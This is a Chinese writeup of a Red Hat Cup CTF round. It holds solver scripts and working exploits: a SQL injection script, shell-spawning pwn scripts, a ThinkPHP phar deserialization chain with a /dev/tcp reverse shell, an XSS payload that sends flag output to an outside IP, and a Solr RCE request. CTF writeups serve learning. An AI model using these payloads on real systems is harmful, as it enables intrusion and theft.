11月11日上午9点,第三届红帽杯网络安全攻防大赛线上赛圆满结束!
本次线上赛比赛时长为24个小时,赛题包括web题目4道,pwn题目3道,crypto题目4道、reverse题目5道,misc题目4道,共计20道赛题,以下是本次线上赛的writeup(解题思路):
#!/usr/bin/sage -python
from sage.all import *
from Crypto.Util import number
from Crypto.PublicKey import RSA
from hashlib import sha256
Usernames = ['Alice', 'Bob', 'Carol', 'Dan', 'Erin']
A = sha256( b'Alice' ).hexdigest()
PKs = []
Ciphers = []
B = []
for i in range(4):
name = Usernames[i+1]
pk = open(name+'Public.pem', 'rb').read()
PKs.append( RSA.importKey(pk) )
cipher = open(name+'Cipher.enc', 'rb').read()
Ciphers.append( number.bytes_to_long(cipher) )
data = '{"from": "'+A+'", "msg": "'+'\x00'*95+'", "to": "'+sha256( name.encode() ).hexdigest()+'"}'
B.append( number.bytes_to_long(data) )
PR = PolynomialRing(ZZ, 'x')
x = PR.gen()
Fs = []
for i in range(4):
f = PR( ( 2**608*x + B[i] )**PKs[i].e - Ciphers[i] )
ff = f.change_ring( Zmod(PKs[i].n) )
ff = ff.monic()
f = ff.change_ring(ZZ)
Fs.append(f)
F = crt( [ Fs[0]**2, Fs[1]**2, x*Fs[2], x*Fs[3] ], [ PKs[i].n for i in range(4) ] )
M = reduce( lambda x, y: x * y, [ PKs[i].n for i in range(4) ] )
FF = F.change_ring( Zmod(M) )
m = FF.small_roots(X=2**760, beta=7./8)[0]
print 'msg: ' + number.long_to_bytes(m)
Franklin and Reiter 在 95 年提出了当 e=3 时的 linear protocol failure, 随后和 Coppersmith, Patarin 发布了 Low-exponent RSA with related messages(https://link.springer.com/chapter/10.1007/3-540-68339-9_1), 讨论了更一般化的情形。
题中 PRNG 的 State 线性相关, 并给出了初始状态下 State 的和, 据此可以构造同余方程组, 计算 Gtoebner Basis 解出初始状态获得 flag。
#!/usr/bin/sage -python
from Crypto.Util import number
from sage.all import *
N = 16084923760264169099484353317952979348361855860935256157402027983349457021767614332173154044206967015252105109115289920685657394517879177103414348487477378025259589760996270909325371731433876289897874303733424115117776042592359041482059737708721396118254756778152435821692154824236881182156000806958403005506732891823555324800528934757672719379501318525189471726279397236710401497352477683714139039769105043411654493442696289499967521222951945823233371845110807469944602345293068346574630273539870116158817556523565199093874587097230314166365220290730937380983228599414137341498205967870181640370981402627360812251649
Cs = [10607235400098586699994392584841806592000660816191315008947917773605476365884572056544621466807636237415893192966935651590312237598366247520986667580174438232591692369894702423377081613821241343307094343575042030793564118302488401888197517625333923710172738913771484628557310164974384462856047065486913046647133386246976457961265115349103039946802386897315176633274295410371986422039106745216230401123542863714301114753239888820442112538285194875243192862692290859625788686421276234445677411280606266052059579743874849594812733193363406594409214632722438592376518310171297234081555028727538951934761726878443311071990L, 2665348075952836665455323350891842781938471372943896177948046901127648217780657532963063228780230203325378931053293617434754585479452556620021360669764370971665619743473463613391689402725053682169256850873752706252379747752552015341379702582040497607180172854652311649467878714425698676142212588380080361100526614423533767196749274741380258842904968147508033091819979042560336703564128279527380969385330845759998657540777339113519036552454829323666242269607225156846084705957131127720351868483375138773025602253783595007177712673092409157674720974653789039702431795168654387038080256838321255342848782705785524911705L, 4881225713895414151830685259288740981424662400248897086365166643853409947818654509692299250960938511400178276416929668757746679501254041354795468626916196040017280791985239849062273782179873724736552198083211250561192059448730545500442981534768431023858984817288359193663144417753847196868565476919041282010484259630583394963580424358743754334956833598351424515229883148081492471874232555456362089023976929766530371320876651940855297249474438564801349160584279330339012464716197806221216765180154233949297999618011342678854874769762792918534509941727751433687189532019000334342211838299512315478903418642056097679717L, 12534425973458061280573013378054836248888335198966169076118474130362704619767247747943108676623695140384169222126709673116428645230760767457471129655666350250668322899568073246541508846438634287249068036901665547893655280767196856844375628177381351311387888843222307448227990714678010579304867547658489581752103225573979257011139236972130825730306713287107974773306076630024338081124142200612113688850435053038506912906079973403207309246156198371852177700671999937121772761984895354214794816482109585409321157303512805923676416467315573673701738450569247679912197730245013539724493780184952584813891739837153776754362L]
s = 280513550110197745829890567436265496990
e = 17
l = len(Cs)
PR = PolynomialRing( Zmod(N), 'x', l )
x = PR.gens()
f1 = (65537*x[0] - 66666*x[1] + 12345*x[2] - x[3])
f2 = x[0] + x[1] + x[2] - s
Fs = [f1, f2]
Fs.extend( [ (x[i]**e - Cs[i]) for i in range(l) ] )
I = Ideal(Fs)
B = I.groebner_basis()
m = ''
for b in B[:-1][::-1]:
assert b.degree() == 1
mi = ZZ( -b(0,0,0,0) )
m += number.long_to_bytes(mi)
print m
from pwn import *
from Crypto.Util.number import *
import string
from hashlib import sha256
#context.log_level = 'debug'
def proof():
r.recvuntil('sha256(XXXX+')
msg = r.recv(16)
r.recvuntil(') == ')
hsh = r.recv(64)
found = iters.mbruteforce(lambda x:sha256(x+msg).hexdigest()==hsh, string.ascii_letters+string.digits, length = 4, method = 'fixed')
r.sendlineafter('Give me XXXX:', found)
def send(msg, mode):
if mode not in ['enc', 'dec', 'cmd']:
return
s = '/' + mode + ' '
for i in msg:
s += long_to_bytes(i, 8).encode('hex')
r.sendline(s)
def recv():
data = r.recvline().strip().decode('hex')
if len(data) % 8 != 0:
return
d = []
for i in range(len(data) // 8):
m = data[8*i:8*(i+1)]
d.append(bytes_to_long(m))
return d
r = remote('127.0.0.1', 10000)
proof()
r.recvuntil('boom!!!\n\n')
send([0, 0], 'enc')
EE0 = recv()[1]
def enc(m):
send([0, 0, m ^ EE0], 'enc')
c = recv()[2]
return c
E0 = enc(0)
def dec(c):
send([0, c], 'dec')
m = recv()[1] ^ E0
return m
ls = bytes_to_long('ls')
E_ls = enc(ls)
send([E_ls], 'cmd')
print r.recv()
p0 = bytes_to_long('cat flag')
d = 0x0200000282808082
p1 = p0 ^ d
c1 = enc(p1)
c3 = c1 ^ d
p3 = dec(c3)
p2 = p3 ^ d
c2 = enc(p2)
c0 = c2 ^ d
send([c0], 'cmd')
print r.recv()
r.close()
根据题目给的资料,得知驱动型号是L298N,找到相应的使用手册和接线方式,理解每个控制信号的含义,这里列出具体条件,4个电机都是这样的,B通道的同理。
拿到波形,用Audacity查看,发现波形很有规律,单位都是1秒,工具可以分析出采样率为8000。
先转换成01序列,使用脚本readWave2Seq.py,然后可以得到每个端口的高低电平序列了。核心逻辑如下:
sample_rate, sig = wavfile.read(filename)
seq = ""
for i in range(0, len(sig), sample_rate):
if sig[i] > 1000:
seq += "1"
else:
seq += "0"
转换出来每个波形都对应一个01序列,挑一个对照一下,前4秒高电平,即1111
结合之前驱动的工作条件,组合每个端口电平状态,还原成车轮运动。例如:
有了每个轮子的运动状态,就能推断车子的运动了。下表对应的是每个车轮运动状态与整车的运动状态,以车头为正方向,前轮为轮12,后轮为34
最后使用turtle库来模拟小车运动,动作有
# 前进
turtle.forward(20)
turtle.backward(20)
# 旋转90°
turtle.left(90)
turtle.right(90)
运行solve.py,开始还原
在还原的时候值得注意的是使能端口En的状态,如果En为低,即使控制信号有,也是不会驱动电机。
如果选手没有注意到这一点,那么还原出来的路径就会混乱。
from pwn import *
import sys
debug=1
#context.log_level='debug'
p=None
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def ccc(idx,q):
global p
if debug:
p=process('./pwn')
#gdb.attach(p)
else:
p=remote('172.29.2.106',9999)
ru('Give me a index:')
sl(str(idx))
ru('Three is good number,I like it very much!')
se('RX\xc3')
ru('Leave you name of size:')
sl(str(q))
ru('Tell me:')
se("peanuts")
p.recvuntil("\n")
data = ru("\n")
p.close()
if data[0]=='1':
return True
return False
flag = ''
charset ='{}_ '+ string.ascii_letters + string.digits + string.punctuation
for i in range(38):
for q in charset:
if ccc(i,ord(q)+1):
flag+=q
print(flag)
break
print flag
from pwn import *
debug = 0
context.log_level="debug"
if debug:
p = process("./toy")
gdb.attach(p)
else:
p = remote('192.168.5.130',8888)
p.sendlineafter(">","def mmap(start length prot flags fd offset) a;")
p.sendlineafter(">","def read(fd buf length) a;")
p.sendlineafter(">","def system(x) a;")
p.sendlineafter(">","mmap(1048576,4096,3,34,mmap(1048576,4096,3,34,3,0),0);")
p.sendlineafter(">","read(0,1048576,10);")
sleep(1)
p.sendlineafter(">","/bin/sh\0")
p.sendlineafter(">","system(1048576);")
p.interactive()
程序利用C++中的STL实现了大数运算,整个题目逻辑是输入大数a、b、c,经过一些(故意)复杂的计算,等价于a^3 + b^3 - c^3 == 42,要求 c > a > b,这个方程是前不久超级计算机计算出的三个大数,是丢番图方程的一个例子。
(-80538738812075974)³+80435758145817515³+12602123297335631³=42
题目中大量的操作符重载,STL(主要是vector)的使用,在windows平台下难以看出逻辑,还有几个故意用作混淆的计算,Sleep(0x75BCD15u);这些Sleep直接nop掉。
关键计算逻辑如下:
· 输入abc, c>a>b
· 计算结果calc1 == (a+b)^3 - 3abb - 3aab也就是a3+b3
· 计算结果calc2==(4+c)^3 + 34cc + 344c也就是4^3 + c^3 - 22 ,也就是c^3+42
· 这里是凑了一个64出来,是4的立方,用于凑立方和公式
本题需要很多动态调试进行尝试来猜测程序逻辑,如果对丢番图方程比较熟悉,单是解方程不会很慢,但因为是C++ STL,代码量很大,逆向难度比较高,预期比赛解题数量比较少。
解题:把Sleep和一大堆cout全部nop掉之后,输入
80435758145817515
12602123297335631
80538738812075974
会得到结果:
80435758145817515
12602123297335631
80538738812075974
You win!
flag{MD5("804357581458175151260212329733563180538738812075974").tolower()}
最终计算md5,得到flag{951e27be2b2f10b7fa22a6dc8f4682bd}
程序读入31个字符,先进行一些二叉树的变换。31个字符用于层次建立满二叉树,一共五层,再后序遍历,结果保存,记作result
将result的值作为参数放入函数UnDecorateSymbolName,这是MSVC++中关于名称解析的一个函数,目前没有找到它的“反函数”,也就是说这里求逆需要选手自行了解名称粉碎的规则,从而求逆。学习链接 https://www.cnblogs.com/victor-ma/p/4184806.html
第二步获得的结果长度为62,记作out
out的每一个字符分别除以23,模23,获得2个值,再去字符集set中,以这个值作为下标获得一个字符,存入2个结果数组中。详见源码(可逆)。
flag
flag
#include
#include
#include
int main() {
char enc1[36] = {
0x49,0x6f,0x64,0x6c,0x3e,0x51,0x6e,0x62,
0x28,0x6f,0x63,0x79,0x7f,0x79,0x2e,0x69,
0x7f,0x64,0x60,0x33,0x77,0x7d,0x77,0x65,
0x6b,0x39,0x7b,0x69,0x79,0x3d,0x7e,0x79,
0x4c,0x40,0x45,0x43
};
for (int i = 0; i < 36; i++) {
printf("%c", enc1[i] ^ i);
}
printf("\n");
unsigned char final_enc[25] = {
0x40,0x35,0x20,0x56,0x5d,0x18,
0x22,0x45,0x17,0x2f,0x24,0x6e,
0x62,0x3c,0x27,0x54,0x48,0x6c,
0x24,0x6e,0x72,0x3c,0x32,0x45,0x5b
};
unsigned char buf[4] = {
'f' ^ final_enc[0],
'l' ^ final_enc[1],
'a' ^ final_enc[2],
'g' ^ final_enc[3],
};
for (int i = 0; i < 25; i++) {
printf("%c", buf[i % 4] ^ final_enc[i]);
}
printf("\n");
}
[DllImport("Interface", CallingConvention = CallingConvention.Cdecl)]
public static extern int GameObject(int x, int y);
被调用了,在SnakeHead的Move函数的末尾,有一句
Debug.Log(Interface.GameObject((int)base.gameObject.transform.position.x, (int)base.gameObject.transform.position.y));
这个函数将蛇头在Unity中的绝对坐标(x,y)传入C++处理,接下来我们用IDA分析Interface.dll得到dll的逻辑,为清晰,下面用出题源码解释(源码见源码\SnakeCpp)
5. GameObject函数如下
XD_DLL_EXPORT_FN int GameObject(int eee, int ddd)
{
if (eee < 0)
{
BigInt fake_flag("35297982045181952350813323813224883208572049226586980");
string sfake_flag = temp == "null" ? temp = FromInt(fake_flag) : temp;
cout << "If SKT win S9 champion" << "this is real flag" << endl;
cout << sfake_flag << endl;
return -1;
}
else if (eee > 1 && eee < 100)
{
BigInt N("139907262641720884635250105449327463531131227516500497307311002094885245322386805049406878643982216326493527702414689439930090794753345844178528356178539094825247389836142928474607108262267087850211322640806135698076207986818086837911361480181444157057782599277473843153161174504240064610043962720953514451563");
BigInt s("79981856490856999850671700360733120831999995589421207460490185876531860518527597767905168099182891345123878966403548022646956365158864209467614850251731806682037300712511185681164865174187586907707195428804234739667769742078793162639867922056194688917569369338005327309973680573581158754297630654105882382426");
BigInt e(to_string(eee));
BigInt c = mod_fast(s, e, N);
string str = FromInt(c);
if (StartWith(str, "flag"))
{
cout << "You win! flag is " << endl;
cout << str << endl;
}
else
{
cout << "Try again" << endl;
}
return 7;
}
else if (eee > 100 && eee < 200)
{
BigInteger N("139907262641720884635250105449327463531131227516500497307311002094885245322386805049406878643982216326493527702414689439930090794753345844178528356178539094825247389836142928474607108262267087850211322640806135698076207986818086837911361480181444157057782599277473843153161174504240064610043962720953514451563");
BigInteger s("122107611316850260321590575768393047216806481837919054910332579385088745494833866045797079936947058335743437609060618364037361749600119005166359303873659401522100249312696661209787316369738806133852177861917757996075304470648951037632182891401322685617735478597953000103146149534977902885706852338811895661809");
BigInteger e(to_string(eee));
BigInteger c = s.modPow(e, N);
if (c.equals(BigInteger("7777777")))
{
cout << "EDG fight for S10" << endl;
cout << "You fight for the next snake" << endl;
}
else
{
cout << "EDG failed to fight for their S9" << endl;
cout << "But you can fight for next snake" << endl;
}
}
return 996;
}
观察发现
· eee < 0时,是假flag逻辑,FromInt(fake_flag)的结果是fake_flag{f1@g_1$_N0t_H3re}
· 1 < eee < 100时,是一个RSA的解密过程,用eee转BigInt,作为公钥e,解密被私钥加密过的s,大数为N,即 c = (s^e)mod N,再将调用FromInt©,存入str,如果str的开头子串是flag,那么就说明解密对了,str就是最后的flag
· 100 < eee < 200时,也不是正确逻辑,用的大数类是BigInteger,构造函数接受16进制字符串,解不出flag,而1 < eee <100时,用的大数类是BigInt,构造函数接受10进制字符串,可以解出flag
分析BigInt类和BigInteger类这里就不介绍了,两个类都是表示大整数的类,BigInt底层拿string表示,BigInteger拿vecotr+大进制表示,用作RSA的底层,内部运算函数都是正确的,没有挖坑,唯一要注意的是由于大数底层并非高效实现,支持不了特别大数的模幂运算,如果在动态调试的时候将GameObject(int eee, int ddd)的eee参数改成进入1
分析GameObject函数中调用的FromInt函数.
//将大数n按 8bit 拆分,转char组成字符串
inline string FromInt(BigInt n)
{
string str;
if (n.flag == false)
{
str = "0";
}
else
{
while (n.values != "0")
{
BigInt m = n % BigInt("255");
n = n / BigInt("255");
str = (char)atoi(m.values.data()) + str;
}
}
return str;
}
FromInt函数将大数n转为string,规则为:将大数n的每8bit转为char,然后拼入str,str的低位对应n的低位,str的高位对应n的高位。
解题:根据上面分析,只要对1 < eee <100的情况进行爆破就行了。
exp:
N =139907262641720884635250105449327463531131227516500497307311002094885245322386805049406878643982216326493527702414689439930090794753345844178528356178539094825247389836142928474607108262267087850211322640806135698076207986818086837911361480181444157057782599277473843153161174504240064610043962720953514451563
s=79981856490856999850671700360733120831999995589421207460490185876531860518527597767905168099182891345123878966403548022646956365158864209467614850251731806682037300712511185681164865174187586907707195428804234739667769742078793162639867922056194688917569369338005327309973680573581158754297630654105882382426
str = ""
def FromInt(num):
str = ""
while num != 0:
n = (int)(num % 255)
c = chr(n)
num = (int)(num // 255)
str = c + str
return str
for e in range(1, 100):
num = pow(s, e, N)
flag = FromInt(num)
if flag.startswith("flag") == True:
print(flag)
#include "stdint.h"
#include "string.h"
#include "stdio.h"
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(uint32_t* v, int n, uint32_t const key[4]) {
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) { /* Coding Part */
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do {
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++) {
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1) { /* Decoding Part */
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do {
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--) {
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}
unsigned char res[24] = { 0xce,0xbc,0x40,0x6b,0x7c,0x3a,0x95,0xc0,0xef,0x9b,0x20,0x20,0x91,0xf7,0x02,0x35,0x23,0x18,0x02,0xc8,0xe7,0x56,0x56,0xfa };
unsigned char set[37] = "qwertyuiopasdfghjklzxcvbnm1234567890";
int main() {
unsigned char tmp[25] = { 0 };
unsigned char cipher[25] = { 0 };
unsigned char key[17] = { 0 };
for (int i = 23; i > 0; i--) {
for (int j = 0; j < i / 3; ++j) {
res[i] ^= res[j];
}
}
for (int k = 0; k < 6; ++k) {
tmp[4 * k + 2] = res[4 * k + 0];
tmp[4 * k + 0] = res[4 * k + 1];
tmp[4 * k + 3] = res[4 * k + 2];
tmp[4 * k + 1] = res[4 * k + 3];
}
for (int i0 = 0; i0 < 36; ++i0) {
printf("%d\n", set[i0]);
for (int i1 = 0; i1 < 36; ++i1) {
for (int i2 = 0; i2 < 36; ++i2) {
for (int i3 = 0; i3 < 36; ++i3) {
key[0] = set[i0]; key[1] = set[i1]; key[2] = set[i2]; key[3] = set[i3];
memcpy(cipher, tmp, 24);
btea((unsigned int*)cipher, -6, (unsigned int*)key);
if (cipher[0] == set[i0] && cipher[1] == set[i1] && cipher[2] == set[i2] && cipher[3] == set[i3]) {
printf("%s", cipher);
printf("%s", key);
}
}
}
}
}
}
存在sql注入,注入点:
/?s=/Api/Lt/gbooklist&orderby=if(ascii(substr((select%20flaag%20from%20fl4g),{},1))={},sleep(6),1)%23
注入脚本:
import requests
import sys
import string
flag = ''
url = sys.argv[1]
url = url.rstrip('/')
url = url+'?s=/Api/Lt/gbooklist&orderby=if(ascii(substr((select flaag from fl4g),{},1))={},sleep(6),1)%23'
for i in xrange(1,50):
for j in xrange(45,127):
try:
a = requests.get(url.format(i,j),timeout=3)
except:
flag+=chr(j)
print flag
<!-- hint in /hints.txt -->
<!-- Not the web root directory. In the ystem root directory-->
尝试读取 hints.txt
You’r clever. But not enough. Try RCE!
发现 404 ⻚面提示为 thinkphp 系统
3.挖掘 Thinkphp pop 链,可用 phar 反序列化.
exp:
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("Zedd" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("Zedd" => "system");
public function get($system)
{
$this->data = array("Zedd" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}
namespace {
$Conver = new think\model\Pivot("bash -c 'sh >& /dev/tcp/一个IP/2015 0>&1'");
$payload = new think\process\pipes\Windows($Conver);
ini_set('phar.readonly',0);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename('phar.phar','phar.xml');
}
?>
4. 上传文件拿到存放路径后,发送 payload 触发反序列化
5.收到反弹的 shell ,执行 /readflag 拿到 flag.
js_to_run
处的动态拼接js,header处用url.parse处理url.\uff07
可以逃逸出单引号,因此只需要发送如下的url即可XSS.http://www.baidu.com'}**/;eval(String.fromCharCode(111,112,101,110,40,39,104,116,116,112,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,99,117,114,108,36,73,70,83,36,57,104,116,116,112,58,47,47,49,50,48,46,55,57,46,49,56,46,49,55,49,58,53,53,53,53,47,36,40,47,114,101,97,100,102,108,97,103,41,59,35,47,97,115,100,97,115,100,97,115,100,37,48,48,37,49,48,39,41))//
var f=document.createElement('a');
f.__proto__.__defineGetter__('href',function(){return "http://xxxx.com'%3B%00/?;$(open$IFS$9-a$IFS$9Calculator);#/asdasdasd%00%10"});
window.open('http://www.baidu.com');
open("http://xxxx.com%EF%BC%87;%00?;$(open$IFS$9-a$IFS$9Calculator);#/asdasdasd%00%10")
import socket
req1 = '''GET /socket.io/?transport=websocket HTTP/1.1
Host: localhost:80
Sec-WebSocket-Version: 1337
Upgrade: websocket
'''.replace('\n', '\r\n')
req2 = '''POST /solr/mail/dataimport?dataConfig=%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20/%3E%0A%3Cscript%3E%3C%21%5BCDATA%5B%0A%20%20%20%20%20%20%20%20%20%20function%20poc%28row%29%7B%0A%20%20%20%20%20%20%20%20var%20j%3Dnew%20java.io.BufferedReader%28new%20java.io.InputStreamReader%28java.lang.Runtime.getRuntime%28%29.exec%28%22/readflag%22%29.getInputStream%28%29%29%29%3B%0A%20%20%20%20%20%20%20%20var%20line%3Dj.readLine%28%29%3B%0A%20%20%20%20%20%20%20%20var%20res%3D%22%22%3B%0A%20%20%20%20%20%20%20%20while%28line%21%3Dnull%20%26%26%20line%21%3Dundefined%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20res%3Dres%2Bline%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20line%3Dj.readLine%28%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%09%09row.put%28%22title_s%22%2Cres%29%3B%0A%09%09return%20row%3B%0A%09%7D%0A%20%20%5D%5D%3E%3C/script%3E%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0A%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0A%20%20%20%20%20%20%20%20forEach%3D%22/books/book%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%20%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22res_s%22%20template%3D%22some%20static%20payload%22/%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22title_s%22%20xpath%3D%22/books/book/name%22/%3E%0A%20%20%20%20%3C/entity%3E%0A%3C/document%3E%0A%3C/dataConfig%3E&command=full-import&debug=true HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type: application/xml
X-Requested-With: XMLHttpRequest
Content-Length: 135
Connection: close
Referer: http://localhost:8983/solr/
Cookie: csrftoken=gzcSR6Sj3SWd3v4ZxmV5OcZuPKbOhI6CMpgp5vIMvr5wQAL4stMtxJqL2sUE8INi; sessionid=snzojzqa5zn187oghf06z6xodulpohpr
NAME1
NAME2
'''.replace('\n', '\r\n')
def main(netloc):
host, port = netloc.split(':')
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, int(port)))
sock.sendall(req1)
data=sock.recv(4096)
print data
print '[+]connection finished'
print req2
sock.sendall(req2)
data = sock.recv(409600)
data = data.decode(errors='ignore')
print data
#sock.shutdown(socket.SHUT_RDWR)
sock.close()
if __name__ == "__main__":
main('127.0.0.1:3000')